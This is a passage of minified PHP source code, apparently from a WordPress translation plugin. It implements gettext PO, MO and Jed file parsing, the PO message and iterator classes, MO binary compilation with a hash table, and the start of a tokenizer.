$head['X-Loco-Lookup']; while( $this->valid() ){ $entry = $this->current(); $msgid = $entry['id'][0]; if( is_null($msgid) ){ $this->next(); continue; } if( ++$i === $limit ){ return $assets; } $asset = [ 'source' => $this->str( $msgid ), 'target' => $this->str( (string) $entry['str'][0] ), 'context' => null, ]; $prev_entry = null; if( isset($entry['ctxt']) ){ $asset['context'] = $this->str( $entry['ctxt'][0] ); } $cmt = $entry['#']; if( isset($cmt[' ']) ){ $asset['comment'] = $this->str( implode("\n", $cmt[' '] ) ); } if( isset($cmt['.']) ){ $asset['notes'] = $this->str( implode("\n", $cmt['.'] ) ); } if( isset($cmt[':']) ){ if( $refs = implode( ' ', $cmt[':'] ) ) { $refs = $this->str($refs); if( $refs = loco_parse_reference_id( $refs, $_id ) ){ $asset['refs'] = $refs; } if( $_id ){ $asset['_id'] = $_id; } } } if( isset($cmt[',']) ){ foreach( $cmt[','] as $flags ){ foreach( explode(',',$flags) as $flag ){ if( $flag = trim($flag," \t") ){ if( preg_match('/^((?:no-)?\w+)-format/', $flag, $r ) ){ $asset['format'] = $r[1]; } else if( 'fuzzy' === $flag ){ $asset['flag'] = 4; } } } } } if( isset($cmt['|']) ){ $p = new LocoPoParser(''); $p->lines = $cmt['|']; $p->setCharset( $this->getCharset() ); try { $prev_entry = $p->parse(); } catch( Loco_error_ParseException $e ){ } if( $prev_entry ){ $msgid = $prev_entry[0]['source']; if( $lk && 'text' !== $lk ){ $asset[$lk] = $asset['source']; $asset['source'] = $msgid; } else if( substr($msgid,0,5) === 'loco:' ){ $asset['_id'] = substr($msgid,5); } else { $asset['prev'] = $prev_entry; $prev_entry = null; } } } $assets[] = $asset; if( isset($entry['id'][1]) ){ $idx = 0; $pidx = count($assets) - 1; $num = max( 2, count($entry['str']) ); while( ++$idx < $num ){ $plural = [ 'source' => '', 'target' => isset($entry['str'][$idx]) ? $this->str($entry['str'][$idx]) : '', 'plural' => $idx, 'parent' => $pidx, ]; if( 1 === $idx ){ $plural['source'] = $this->str($entry['id'][1]); if( is_array($prev_entry) && isset($prev_entry[1]) ){ if( $lk && 'text' !== $lk ){ $plural[$lk] = $plural['source']; $plural['source'] = $prev_entry[1]['source']; } } } if( isset($asset['flag']) ){ $plural['flag'] = $asset['flag']; } $assets[] = $plural; } } $this->next(); } if( -1 === $i ){ throw new Loco_error_ParseException('Invalid PO file'); } else if( 0 === $i && '' === $assets[0]['source'] && '' === $assets[0]['target'] ){ throw new Loco_error_ParseException('Invalid PO file' ); } return $assets; } } class LocoMoParser extends LocoGettextParser { private $bin; private $be = null; private $n = null; private $o = null; private $t = null; private $v = null; public function __construct( $bin ){ $this->bin = $bin; } public function getAt( $idx ){ $offset = $this->targetOffset(); $offset += ( $idx * 8 ); $len = $this->integerAt( $offset ); $idx = $this->integerAt( $offset + 4 ); $txt = $this->bytes( $idx, $len ); if( false === strpos( $txt, "\0") ){ return $txt; } return explode( "\0", $txt ); } public function parse( $limit = -1 ) { $i = -1; $r = []; $sourceOffset = $this->sourceOffset(); $targetOffset = $this->targetOffset(); $soffset = $sourceOffset; $toffset = $targetOffset; while( $soffset < $targetOffset ){ $len = $this->integerAt( $soffset ); $idx = $this->integerAt( $soffset + 4 ); $src = $this->bytes( $idx, $len ); $eot = strpos( $src, "\x04" ); if( false === $eot ){ $context = null; } else { $context = $this->str( substr($src, 0, $eot ) ); $src = substr( $src, $eot+1 ); } $sources = explode( "\0", $src, 2 ); $len = $this->integerAt( $toffset ); $idx = $this->integerAt( $toffset + 4 ); $targets = explode( "\0", $this->bytes( $idx, $len ) ); if( -1 === $i && '' === $sources[0] && is_null($context) ){ $this->setHeader( LocoPoHeaders::fromMsgstr($targets[0]) ); } if( ++$i > $limit && -1 !== $limit ){ break; } $r[$i] = [ 'source' => $this->str( $sources[0] ), 'target' => $this->str( $targets[0] ), 'context' => $context, ]; if( isset($sources[1]) ){ $p = count($r) - 1; $nforms = max( 2, count($targets) ); for( $n = 1; $n < $nforms; $n++ ){ $r[++$i] = [ 'source' => isset($sources[$n]) ? $this->str( $sources[$n] ) : sprintf('%s (plural %u)',$r[$p]['source'],$n), 'target' => isset($targets[$n]) ? $this->str( $targets[$n] ) : '', 'parent' => $p, 'plural' => $n, ]; } } $soffset += 8; $toffset += 8; } return $r; } public function isBigendian() { if( is_null($this->be) ){ $str = $this->words( 0, 1 ); if( "\xDE\x12\x04\x95" === $str ){ $this->be = false; } else if( "\x95\x04\x12\xDE" === $str ){ $this->be = true; } else { throw new Loco_error_ParseException('Invalid MO format'); } } return $this->be; } public function version() { if( is_null($this->v) ){ $this->v = $this->integerWord(1); } return $this->v; } #[ReturnTypeWillChange] public function count() { if( is_null($this->n) ){ $this->n = $this->integerWord(2); } return $this->n; } public function sourceOffset() { if( is_null($this->o) ){ $this->o = $this->integerWord(3); } return $this->o; } public function targetOffset() { if( is_null($this->t) ){ $this->t = $this->integerWord(4); } return $this->t; } public function getHashTable() { $s = $this->integerWord(5); $h = $this->integerWord(6); return $this->bytes( $h, $s * 4 ); } private function bytes( $offset, $length ) { $s = substr( $this->bin, $offset, $length ); if( strlen($s) !== $length ){ throw new Loco_error_ParseException('Failed to read '.$length.' bytes at ['.$offset.']' ); } return $s; } private function words( $offset, $length ) { return $this->bytes( $offset * 4, $length * 4 ); } private function integerWord( $offset ) { return $this->integerAt( $offset * 4 ); } private function integerAt( $offset ) { $str = $this->bytes( $offset, 4 ); $fmt = $this->isBigendian() ? 'N' : 'V'; $arr = unpack( $fmt, $str ); if( ! isset($arr[1]) || ! is_int($arr[1]) ){ throw new Loco_error_ParseException('Failed to read integer at byte '.$offset); } return $arr[1]; } } class LocoJedParser extends LocoGettextParser { private $ld; public function __construct( array $struct ){ $this->ld = $struct; } public function parse( $limit = -1 ) { $values = []; foreach( $this->ld as $messages ){ if( ! is_array($messages) ){ throw new Loco_error_ParseException('Array expected'); } $msgid = key($messages); if( '' === $msgid ){ $this->setHeader( new LocoJedHeaders($messages['']) ); unset($messages['']); } else { $this->setHeader( new LocoJedHeaders ); } $values[] = [ 'source' => '', 'target' => $this->getHeader(), ]; $i = -1; foreach( $messages as $key => $list ){ if( ++$i === $limit ){ break; } $value = $this->initMsgKey($key); $index = count($values); foreach( $list as $j => $msgstr ){ if( ! is_string($msgstr) ){ throw new Loco_error_ParseException('msgstr must be scalar'); } $value['target'] = $msgstr; if( 0 < $j ){ $value['plural'] = $j; $value['parent'] = $index; $value['source'] = ''; } $values[] = $value; } } } return $values; } } class LocoJedHeaders extends LocoPoHeaders { public function __construct( array $raw = [] ) { foreach( ['Language'=>'lang','plural_forms'=>'Plural-Forms'] as $canonical => $alias ){ if( array_key_exists($alias,$raw) && ! array_key_exists($canonical,$raw) ){ $raw[$canonical] = $raw[$alias]; } } parent::__construct($raw); } } class LocoMoPhpParser extends LocoGettextParser { private $msgs; public function __construct( array $struct ){ $this->msgs = $struct['messages']; unset($struct['messages']); $this->setHeader( new LocoPoHeaders($struct) ); } public function parse( $limit = -1 ) { $values = [ [ 'source' => '', 'target' => $this->getHeader(), ] ]; $i = -1; foreach( $this->msgs as $key => $bin ){ if( ++$i === $limit ){ break; } $value = $this->initMsgKey($key); $index = count($values); foreach( explode("\0",$bin) as $i => $msgstr ){ $value['target'] = $msgstr; if( 0 < $i ){ $value['plural'] = $i; $value['parent'] = $index; $value['source'] = ''; } $values[] = $value; } } return $values; } } abstract class LocoPo { public static function pair( $key, $text, $width = 79, $eol = "\n", $esc = '\\n' ) { if( '' === $text ){ return $key.' ""'; } $text = addcslashes( $text, "\t\x0B\x0C\x07\x08\\\"" ); if( $esc ) { $text = preg_replace('/\\r\\n?|\\n/', $esc.$eol, $text, -1, $nbr ); } else { $eol = "\n"; $text = preg_replace_callback('/\\r\\n?|\\n/',[__CLASS__,'replace_br'], $text, -1, $nbr ); } if( $nbr ){ } else if( $width && $width < mb_strlen($text,'UTF-8') + strlen($key) + 3 ){ } else { return $key.' "'.$text.'"'; } $lines = [ $key.' "' ]; if( $width ){ $width -= 2; $a = '/^.{0,'.($width-1).'}[-– .,:;?!)\\]}>]/u'; $b = '/^[^-– .,:;?!)\\]}>]+/u'; foreach( explode($eol,$text) as $unwrapped ){ $length = mb_strlen( $unwrapped, 'UTF-8' ); while( $length > $width ){ if( preg_match( $a, $unwrapped, $r ) ){ $line = $r[0]; } else if( preg_match( $b, $unwrapped, $r ) ){ $line = $r[0]; } else { throw new Exception('Wrapping error'); } $lines[] = $line; $trunc = mb_strlen($line,'UTF-8'); $length -= $trunc; $unwrapped = (string) substr( $unwrapped, strlen($line) ); if( ( '' === $unwrapped && 0 !== $length ) || ( 0 === $length && '' !== $unwrapped ) ){ throw new Exception('Truncation error'); } } if( 0 !== $length ){ $lines[] = $unwrapped; } } } else { foreach( explode($eol,$text) as $unwrapped ){ $lines[] = $unwrapped; } } return implode('"'.$eol.'"',$lines).'"'; } private static function replace_br( array $r ) { return addcslashes($r[0],"\r\n")."\n"; } public static function refs( $text, $width = 76, $eol = "\n" ) { $text = preg_replace('/\\s+/u', ' ', $text ); if( $width ){ $text = wordwrap( $text, $width, $eol.'#: ' ); } return '#: '.$text; } public static function prefix( $text, $prefix, $eol = "\n" ) { return $prefix . implode($eol.$prefix, self::split($text) ); } public static function split( $text ) { $lines = preg_split('/\\R/u', $text ); if( false === $lines ){ if( false === preg_match('//u',$text) ){ $text = mb_convert_encoding( $text, 'UTF-8', 'cp1252' ); } $lines = preg_split('/\\r?\\n+/', $text ); } return $lines; } public static function trim( $text ) { $lines = []; $deferred = null; foreach( explode("\n",$text) as $line ){ if( '' === $line ){ continue; } if( preg_match('/^msg[a-z]+(?:\\[\\d+])? ""/',$line) ){ $deferred = $line; continue; } if( $deferred && '"' === $line[0] ){ $lines[] = $deferred; $deferred = null; } $lines[] = $line; } return implode("\n",$lines); } } class LocoPoIndex extends ArrayIterator { public function compare( LocoPoMessage $a, LocoPoMessage $b ){ $h = $a->getHash(); if( ! isset($this[$h]) ){ return 1; } $j = $b->getHash(); if( ! isset($this[$j]) ){ return -1; } return $this[$h] > $this[$j] ? 1 : -1; } } class LocoPoMessage extends ArrayObject { public function __construct( array $r ){ $r['key'] = $r['source']; parent::__construct($r); } public function __get( $prop ) { return $this->offsetExists($prop) ? $this->offsetGet($prop) : null; } public function isFuzzy() { return 4 === $this->__get('flag'); } public function getFormat() { $f = $this->__get('format'); if( is_string($f) && '' !== $f ){ return $f; } return ''; } private function getPoFlags() { $flags = []; foreach( array_merge( [$this], $this->__get('plurals')?:[] ) as $form ){ if( $form->isFuzzy() ){ $flags[0] = 'fuzzy'; } $f = $form->getFormat(); if( '' !== $f ){ $flags[1] = $f.'-format'; } } return array_values($flags); } public function getHash() { $hash = $this->getKey(); if( $this->offsetExists('plurals') ){ foreach( $this->offsetGet('plurals') as $p ){ $hash .= "\0".$p->getHash(); break; } } return $hash; } public function getKey() { $msgid = (string) $this['source']; $msgctxt = (string) $this->__get('context'); if( '' !== $msgctxt ){ if( '' === $msgid ){ $msgid = '('.$msgctxt.')'; } $msgid = $msgctxt."\4".$msgid; } return $msgid; } public function exportSerial( $f = 'target' ) { $a = [ $this[$f] ]; if( $this->offsetExists('plurals') ){ $plurals = $this->offsetGet('plurals'); if( is_array($plurals) ){ foreach( $plurals as $p ){ $a[] = $p[$f]; } } } return $a; } public function __toString(){ return $this->render( 79, 76 ); } public function render( $width, $ref_width, $max_forms = 0 ) { $s = []; try { if( $text = $this->__get('comment') ) { $s[] = LocoPo::prefix( $text, '# '); } if( $text = $this->__get('notes') ) { $s[] = LocoPo::prefix( $text, '#. '); } if( $text = $this->__get('refs') ){ $s[] = LocoPo::refs( $text, $ref_width ); } if( $texts = $this->getPoFlags() ){ $s[] = '#, '.implode(', ',$texts); } $prev = $this->__get('prev'); if( is_array($prev) && $prev ){ foreach( new LocoPoIterator($prev) as $p ){ $text = $p->render( max(0,$width-3), 0 ); $s[] = LocoPo::prefix( LocoPo::trim($text),'#| '); break; } } $text = $this->__get('context'); if( is_string($text) && '' !== $text ){ $s[] = LocoPo::pair('msgctxt', $text, $width ); } $s[] = LocoPo::pair( 'msgid', $this['source'], $width ); $target = $this['target']; $plurals = $this->__get('plurals'); if( is_array($plurals) ){ if( array_key_exists(0,$plurals) ){ $p = $plurals[0]; $s[] = LocoPo::pair('msgid_plural', $p['source'], $width ); $s[] = LocoPo::pair('msgstr[0]', $target, $width ); $i = 0; while( array_key_exists($i,$plurals) ){ $p = $plurals[$i]; if( ++$i === $max_forms ){ break; } $s[] = LocoPo::pair('msgstr['.$i.']', $p['target'], $width ); } } else if( isset($this['plural_key']) ){ $s[] = LocoPo::pair('msgid_plural', $this['plural_key'], $width ); $s[] = LocoPo::pair('msgstr[0]', $target, $width ); } else { trigger_error('Missing plural_key in zero plural export'); $s[] = LocoPo::pair('msgstr', $target, $width ); } } else { $s[] = LocoPo::pair('msgstr', $target, $width ); } } catch( Exception $e ){ trigger_error( $e->getMessage(), E_USER_WARNING ); } return implode("\n",$s)."\n"; } public function merge( LocoPoMessage $def, $translate = false ) { if( $def->getHash() !== $this->getHash() ){ $prev = [ 'source' => '', 'target' => '' ]; $prev = $this->diff('source',$def,$prev); $prev = $this->diff('context',$def,$prev); $this['flag'] = 4; $this['prev'] = [ $prev ]; $defPlural = $def->getPlural(0); $ourPlural = $this->getPlural(0); if( $defPlural && $ourPlural ) { $ourPlural->merge($defPlural); if( $ourPlural->offsetExists('prev') ) { $this['prev'][] = $ourPlural->prev[0]+['parent'=>0,'plural'=>1]; $ourPlural->offsetUnset('prev'); } } else if( $defPlural ){ $this['plurals'] = [ clone $defPlural ]; } else if( $ourPlural ){ $this['prev'][] = $ourPlural->exportBasic() + ['parent'=>0,'plural'=>1]; $this->offsetUnset('plurals'); } } foreach( ['notes','refs','format'] as $f ){ if( $def->offsetExists($f) ){ $this->offsetSet($f,$def->offsetGet($f)); } else if( $this->offsetExists($f) ){ $this->offsetUnset($f); } } if( $translate && '' === $this['target'] && '' !== $def['target'] ){ $this['target'] = $def['target']; if( $def->offsetExists('comment') ) { $this['comment'] = $def['comment']; } if( $this->offsetExists('plurals') ){ foreach( $this['plurals'] as $i => $ourPlural ){ if( '' === $ourPlural['target'] ){ $defPlural = $def->getPlural($i); if( $defPlural ){ $ourPlural['target'] = $defPlural['target']; } } } } } } private function diff( $key, LocoPoMessage $def, array $prev ) { $old = $this->__get($key); $new = $def->__get($key); if( $new !== $old ){ $this->offsetSet($key,$new); if( is_string($old) && '' !== $old ){ $prev[$key] = $old; } } return $prev; } private function getPlural( $i ) { if( $this->offsetExists('plurals') ){ $plurals = $this->offsetGet('plurals'); if( is_array($plurals) && array_key_exists($i,$plurals) ){ return $plurals[$i]; } } return null; } private function exportBasic() { return [ 'source' => $this['source'], 'context' => $this->context, 'target' => '', ]; } public function export() { $a = $this->getArrayCopy(); unset($a['key']); if( array_key_exists('plurals',$a) ){ foreach( $a['plurals'] as $i => $p ){ if( $p instanceof ArrayObject ){ $a['plurals'][$i] = $p->getArrayCopy(); } } } return $a; } public function strip() { $this['target'] = ''; $plurals = $this->plurals; if( is_array($plurals) ){ foreach( $plurals as $p ){ $p->strip(); } } return $this; } public function translated() { $n = 0; if( '' !== (string) $this['target'] ){ $n++; } if( $this->offsetExists('plurals') ){ foreach( $this->offsetGet('plurals') as $plural ) { if( '' !== (string) $plural['target']) { $n++; } } } return $n; } } class LocoPoIterator implements Iterator, Countable { private $po; private $headers = null; private $i; private $t; private $j; private $z = 0; private $w = 79; public function __construct( $po ){ if( is_array($po) ){ $this->po = $po; } else if( $po instanceof Traversable ){ $this->po = iterator_to_array($po,false); } else { throw new InvalidArgumentException('PO data must be array or iterator'); } $this->t = count( $this->po ); if( 0 === $this->t ){ throw new InvalidArgumentException('Empty PO data'); } $h = $po[0]; if( '' !== $h['source'] || ( isset($h['context']) && '' !== $h['context'] ) || ( isset($po[1]['parent']) && 0 === $po[1]['parent'] ) ){ $this->z = -1; } } public function push( LocoPoMessage $p ) { $raw = $p->export(); $plurals = $p->plurals; unset($raw['plurals']); $i = count($this->po); $this->po[$i] = $raw; $this->t++; if( is_array($plurals) ) { $j = 0; foreach( $plurals as $p ) { $raw = $p->export(); $raw['parent'] = $i; $raw['plural'] = ++$j; $this->po[] = $raw; $this->t++; } } } public function concat( LocoPoIterator $more ) { foreach( $more as $message ){ $this->push($message); } return $this; } public function __clone() { if( $this->headers ){ $this->headers = new LocoPoHeaders( $this->headers->getArrayCopy() ); } } #[ReturnTypeWillChange] public function count() { return $this->t - ( $this->z + 1 ); } public function wrap( $width ) { if( $width > 0 ){ $this->w = max( 15, $width ); } else { $this->w = 0; } return $this; } #[ReturnTypeWillChange] public function rewind() { $this->i = $this->z; $this->j = -1; $this->next(); } #[ReturnTypeWillChange] public function key() { return $this->j; } #[ReturnTypeWillChange] public function valid() { return is_int($this->i); } #[ReturnTypeWillChange] public function next() { $i = $this->i; while( ++$i < $this->t ){ if( array_key_exists('parent',$this->po[$i]) ){ continue; } $this->j++; $this->i = $i; return; } $this->i = null; $this->j = null; } #[ReturnTypeWillChange] public function current() { return $this->item( $this->i ); } private function item( $i ) { $po = $this->po; $parent = new LocoPoMessage( $po[$i] ); $plurals = []; $nonseq = $parent->offsetExists('child'); $j = $nonseq ? $parent['child'] : $i+1; while( isset($po[$j]['parent']) && $i === $po[$j]['parent'] ){ $plurals[] = new LocoPoMessage($po[$j++]); } if( $plurals ){ $parent['plurals'] = $plurals; } return $parent; } public function exportEntry( $i ) { return $this->item( $i + ( 1-$this->z) ); } public function getArrayCopy() { $po = $this->po; if( 0 === $this->z ){ $po[0]['target'] = (string) $this->getHeaders(); } return $po; } public function clear() { if( 0 === $this->z ){ $this->po = [ $this->po[0] ]; $this->t = 1; } else { $this->po = []; $this->t = 0; } } public function getHeaders() { if( is_null($this->headers) ){ $header = $this->po[0]; if( 0 === $this->z ){ $value = $header['target']; if( is_string($value) ){ $this->headers = LocoPoHeaders::fromMsgstr($value); } else if( $value instanceof LocoPoHeaders ){ $this->headers = $value; } else if( is_array($value) ){ $this->headers = new LocoPoHeaders($value); } } else { $this->headers = new LocoPoHeaders; } } return $this->headers; } public function setHeaders( LocoPoHeaders $head ) { $this->headers = $head; if( 0 === $this->z ){ $this->po[0]['target'] = null; } return $this; } public function initPo() { if( 0 === $this->z ){ unset( $this->po[0]['flag'] ); } return $this; } public function initPot() { if( 0 === $this->z ){ $this->po[0]['flag'] = 4; } return $this; } public function strip() { $po = $this->po; $i = count($po); $z = $this->z; while( --$i > $z ){ $po[$i]['target'] = ''; } $this->po = $po; return $this; } public function __toString() { try { return $this->render(); } catch( Exception $e ){ trigger_error( $e->getMessage(), E_USER_WARNING ); return ''; } } public function render( callable $sorter = null ) { $width = $this->w; $ref_width = max( 0, $width - 3 ); $h = $this->exportHeader(); $msg = new LocoPoMessage( $h ); $s = $msg->render( $width, $ref_width ); if( $sorter ){ $msgs = []; foreach( $this as $msg ){ $msgs[] = $msg; } usort( $msgs, $sorter ); } else { $msgs = $this; } $h = $this->getHeaders()->offsetGet('Plural-Forms'); if( is_string($h) && preg_match('/nplurals\\s*=\\s*(\\d)/',$h,$r) ){ $max_pl = (int) $r[1]; } else { $max_pl = 0; } foreach( $msgs as $msg ){ $s .= "\n".$msg->render( $width, $ref_width, $max_pl ); } return $s; } public function exportJed() { $head = $this->getHeaders(); $a = [ '' => [ 'domain' => $head['domain'], 'lang' => $head['language'], 'plural-forms' => $head['plural-forms'], ] ]; foreach( $this as $message ){ if( $message->translated() ){ $a[ $message->getKey() ] = $message->exportSerial(); } } return $a; } private function exportHeader() { if( 0 === $this->z ){ $h = $this->po[0]; } else { $h = [ 'source' => '', 'target' => '' ]; } if( $this->headers ){ $h['target'] = (string) $this->headers; } return $h; } public function exportRefs( $grep = '' ) { $a = []; if( '' === $grep ) { $grep = '/(\\S+):\\d+/'; } else { $grep = '/(\\S*'.$grep.'):\\d+/'; } $self = get_class($this); $base = [ $this->exportHeader() ]; foreach( $this as $message ){ if( preg_match_all( $grep, (string) $message->refs, $r ) ){ foreach( $r[1] as $ref ) { if( array_key_exists($ref,$a) ){ $po = $a[$ref]; } else { $po = new $self($base); $a[$ref] = $po; } $po->push($message); } } } return $a; } public function splitRefs( array $map = null ) { $a = []; $self = get_class($this); $base = [ $this->exportHeader() ]; if( is_array($map) ){ $grep = implode('|',array_keys($map)); } else { $grep = '[a-z]+'; } foreach( $this as $message ){ $refs = ltrim( (string) $message->refs ); if( '' !== $refs ){ if( preg_match_all('/\\S+\\.('.$grep.'):\\d+/', $refs, $r, PREG_SET_ORDER ) ){ $tmp = []; foreach( $r as $rr ) { list( $ref, $ext ) = $rr; $tmp[$ext][$ref] = true; } foreach( $tmp as $ext => $refs ){ if( is_array($map) ){ $ext = $map[$ext]; } if( array_key_exists($ext,$a) ){ $po = $a[$ext]; } else { $po = new $self($base); $a[$ext] = $po; } $message = clone $message; $message['refs'] = implode(' ',array_keys($refs) ); $po->push($message); } } } } return $a; } public function getHashes() { $a = []; foreach( $this as $msg ){ $a[] = $msg->getHash(); } sort( $a, SORT_STRING ); return $a; } public function equalSource( LocoPoIterator $that ) { $a = $this->getHashes(); $b = $that->getHashes(); if( count($a) !== count($b) ){ return false; } foreach( $a as $i => $hash ){ if( $hash !== $b[$i] ){ return false; } } return true; } public function equal( LocoPoIterator $that ) { if( $this->t !== $that->t ){ return false; } $i = $this->z; $fields = [ 'source', 'context', 'notes', 'refs', 'target', 'comment', 'flag', 'parent', 'plural' ]; while( ++$i < $this->t ){ $a = $this->po[$i]; $b = $that->po[$i]; foreach( $fields as $f ){ $af = isset($a[$f]) ? $a[$f] : ''; $bf = isset($b[$f]) ? $b[$f] : ''; if( $af !== $bf ){ return false; } } } return true; } public function sort( callable $func = null ) { $order = []; foreach( $this as $msg ){ $order[] = $msg; } usort( $order, $func ?: [__CLASS__,'compare'] ); $this->clear(); foreach( $order as $p ){ $this->push($p); } return $this; } public static function compare( LocoPoMessage $a, LocoPoMessage $b ) { $h = $a->getHash(); $j = $b->getHash(); $n = strcasecmp( $h, $j ); if( 0 === $n ){ $n = strcmp( $h, $j ); if( 0 === $n ){ return 0; } } return $n > 0 ? 1 : -1; } public function createSorter() { $index = []; foreach( $this as $i => $msg ){ $index[ $msg->getHash() ] = $i; } $obj = new LocoPoIndex( $index ); return [ $obj, 'compare' ]; } } class LocoMoTable { private $size = 0; private $bin = ''; private $map = null; public function __construct( $data = '' ){ if( is_array($data) ){ $this->compile( $data ); } else if( '' !== $data ){ $this->parse( $data ); } } #[ReturnTypeWillChange] public function count() { if( is_null($this->size) ){ if( $this->bin ){ $this->size = (int) ( strlen( $this->bin ) / 4 ); } else if( is_array($this->map) ){ $this->size = count($this->map); } else { return 0; } if( ! self::is_prime($this->size) || $this->size < 3 ){ throw new Exception('Size expected to be prime number above 2, got '.$this->size); } } return $this->size; } public function bytes() { return $this->count() * 4; } public function __toString() { return $this->bin; } public function export() { if( is_null($this->map) ){ $this->parse($this->bin); } return $this->map; } private function reset( $length ) { $this->size = max( 3, self::next_prime( $length * 4 / 3 ) ); $this->bin = ''; $this->map = []; return $this->size; } public function compile( array $msgids ) { $hash_tab_size = $this->reset( count($msgids) ); $packed = array_fill( 0, $hash_tab_size, "\0\0\0\0" ); $j = 0; foreach( $msgids as $msgid ){ $hash_val = self::hashpjw( $msgid ); $idx = $hash_val % $hash_tab_size; if( array_key_exists($idx, $this->map) ){ $incr = 1 + ( $hash_val % ( $hash_tab_size - 2 ) ); do { $idx += $incr; if( $hash_val === $idx ){ throw new Exception('Unable to find empty slot in hash table'); } $idx %= $hash_tab_size; } while( array_key_exists($idx, $this->map ) ); } $this->map[$idx] = $j; $packed[$idx] = pack('V', ++$j ); } $this->bin = implode('',$packed); } public function lookup( $msgid, array $msgids ) { $hash_val = self::hashpjw( $msgid ); $idx = $hash_val % $this->size; $incr = 1 + ( $hash_val % ( $this->size - 2 ) ); while( true ){ if( ! array_key_exists($idx, $this->map) ){ break; } $j = $this->map[$idx]; if( isset($msgids[$j]) && $msgid === $msgids[$j] ){ return $j; } $idx += $incr; if( $idx === $hash_val ){ break; } $idx %= $this->size; } return -1; } private function parse( $bin ) { $this->bin = $bin; $this->size = null; $hash_tab_size = $this->count(); $this->map = []; $idx = -1; $byte = 0; while( ++$idx < $hash_tab_size ){ $word = substr( $this->bin, $byte, 4 ); if( "\0\0\0\0" !== $word ){ list(,$j) = unpack('V', $word ); $this->map[$idx] = $j - 1; } $byte += 4; } } public static function hashpjw( $str ) { $i = -1; $hval = 0; $len = strlen($str); while( ++$i < $len ){ $ord = ord( substr($str,$i,1) ); $hval = ( $hval << 4 ) + $ord; $g = $hval & 0xf0000000; if( $g !== 0 ){ $hval ^= $g >> 24; $hval ^= $g; } } return $hval; } private static function next_prime( $seed ) { $seed = (int) floor($seed); $seed |= 1; while ( ! self::is_prime($seed) ){ $seed += 2; } return $seed; } private static function is_prime( $num ) { if( 1 === $num ){ return false; } if( 2 === $num ){ return true; } if( $num % 2 == 0 ) { return false; } for( $i = 3; $i <= ceil(sqrt($num)); $i = $i + 2) { if($num % $i == 0 ){ return false; } } return true; } } class LocoMo { private $bin; private $msgs; private $head; private $hash = null; private $use_fuzzy = false; private $cs = null; public function __construct( Iterator $export, LocoPoHeaders $head = null ){ if( $head ){ $this->head = $head; } else { $this->head = new LocoPoHeaders; $this->setHeader('Project-Id-Version','Loco'); } $this->msgs = $export; $this->bin = ''; } public function setCharset( $cs ) { $cs = $this->head->setCharset($cs); $this->cs = 'UTF-8' === $cs ? null : $cs; } public function enableHash() { $this->hash = new LocoMoTable; } public function useFuzzy() { $this->use_fuzzy = true; } public function setHeader( $key, $val ) { $this->head->add($key,$val); return $this; } private function str( $s ) { if( $cs = $this->cs ){ $s = mb_convert_encoding($s,$cs,['UTF-8']); } return $s; } public function compile() { $table = ['']; $sources = ['']; $targets = [ (string) $this->head ]; $fuzzy_flag = 4; $skip_fuzzy = ! $this->use_fuzzy; if( $this->head->has('Plural-Forms') && preg_match('/^nplurals=(\\d)/',$this->head->trimmed('Plural-Forms'), $r) ){ $nplurals = (int) $r[1]; $maxplural = max( 0, $nplurals-1 ); } else { $maxplural = 1; } foreach( $this->msgs as $r ){ if( $skip_fuzzy && isset($r['flag']) && $fuzzy_flag === $r['flag'] ){ continue; } $msgid = $this->str( $r['key'] ); if( isset($r['context']) ){ $msgctxt = $this->str( $r['context'] ); if( '' !== $msgctxt ){ if( '' === $msgid ){ $msgid = '('.$msgctxt.')'; } $msgid = $msgctxt."\x04".$msgid; } } if( '' === $msgid ){ continue; } $msgstr = $this->str( $r['target'] ); if( '' === $msgstr ){ continue; } $table[] = $msgid; if( isset($r['plurals']) ){ if( $r['plurals'] ){ $i = 0; foreach( $r['plurals'] as $i => $p ){ if( $i === 0 ){ $msgid .= "\0".$this->str($p['key']); } $msgstr .= "\0".$this->str($p['target']); } while( $maxplural > ++$i ){ $msgstr .= "\0"; } } else if( isset($r['plural_key']) ){ $msgid .= "\0".$this->str($r['plural_key']); } } $sources[] = $msgid; $targets[] = $msgstr; } asort( $sources, SORT_STRING ); $this->bin = "\xDE\x12\x04\x95\x00\x00\x00\x00"; $n = count($sources); $this->writeInteger( $n ); $offset = 28; $this->writeInteger( $offset ); $offset += $n * 8; $this->writeInteger( $offset ); if( $this->hash ){ sort( $table, SORT_STRING ); $this->hash->compile( $table ); $s = $this->hash->count(); } else { $s = 0; } $this->writeInteger( $s ); $offset += $n * 8; $this->writeInteger( $offset ); if( $s ){ $offset += $s * 4; } $source = ''; foreach( $sources as $str ){ $source .= $str."\0"; $this->writeInteger( $strlen = strlen($str) ); $this->writeInteger( $offset ); $offset += $strlen + 1; } $target = ''; foreach( array_keys($sources) as $i ){ $str = $targets[$i]; $target .= $str."\0"; $this->writeInteger( $strlen = strlen($str) ); $this->writeInteger( $offset ); $offset += $strlen + 1; } if( $this->hash ){ $this->bin .= $this->hash->__toString(); } $this->bin .= $source; $this->bin .= $target; return $this->bin; } private function writeInteger( $num ) { $this->bin .= pack( 'V', $num ); } } interface LocoTokensInterface extends Iterator { public function advance(); public function ignore( ...$symbols ); } class LocoTokenizer implements LocoTokensInterface { const T_LITERAL = 0; const T_UNKNOWN = -1; private $src; private $pos; private $line; private $col; private $max; private $rules = []; private $skip = []; private $tok; private $len; public function __construct( $src = '' ){ $this->init($src); } public function parse( $src ) { return iterator_to_array( $this->generate($src) ); } public function generate( $src ) { $this->init($src); while( $this->valid() ){ yield $this->current(); $this->next(); } } public function init( $src ) { $this->src = $src; $this->rewind(); return $this; } public function define( $grep, $t = 0 ) { if('^' !== $grep[1] ){ throw new InvalidArgumentException('Expression '.$grep.' isn\'t anchored'); } if( ! is_int($t) && ! is_callable($t) ){ throw new InvalidArgumentException('Non-integer token must be valid callback'); } $sniff = $grep[2]; if( $sniff === preg_quote($sniff,$grep[0]) ){ $this->rules[$sniff][] = [ $grep, $t ]; } else { $this->rules[''][] = [ $grep, $t ]; } return $this; } public function ignore( ...$symbols ) { $this->skip += array_fill_keys( $symbols, true ); return $this; } #[ReturnTypeWillChange] public function current() { return $this->tok; } public function advance() { $tok = $this->current(); $this->next(); return $tok; } #[ReturnTypeWillChange] public function next() { $tok = null; $offset = $this->pos; $column = $this->col; $line = $this->line; while( $offset <= $this->max ){ $t = null; $s = ''; $text = substr($this->src,$offset); foreach( [$text[0],''] as $k ){ if( isset($this->rules[$k]) ) { foreach( $this->rules[$k] as $rule) { if( preg_match($rule[0], $text, $match ) ) { $s = $match[0]; $t = $rule[1]; if( ! is_int($t) ) { $t = call_user_func( $t, $s, $match ); } break 2; } } } } if( is_null($t) ){ $n = preg_match('/^./u',$text,$match); if( false === 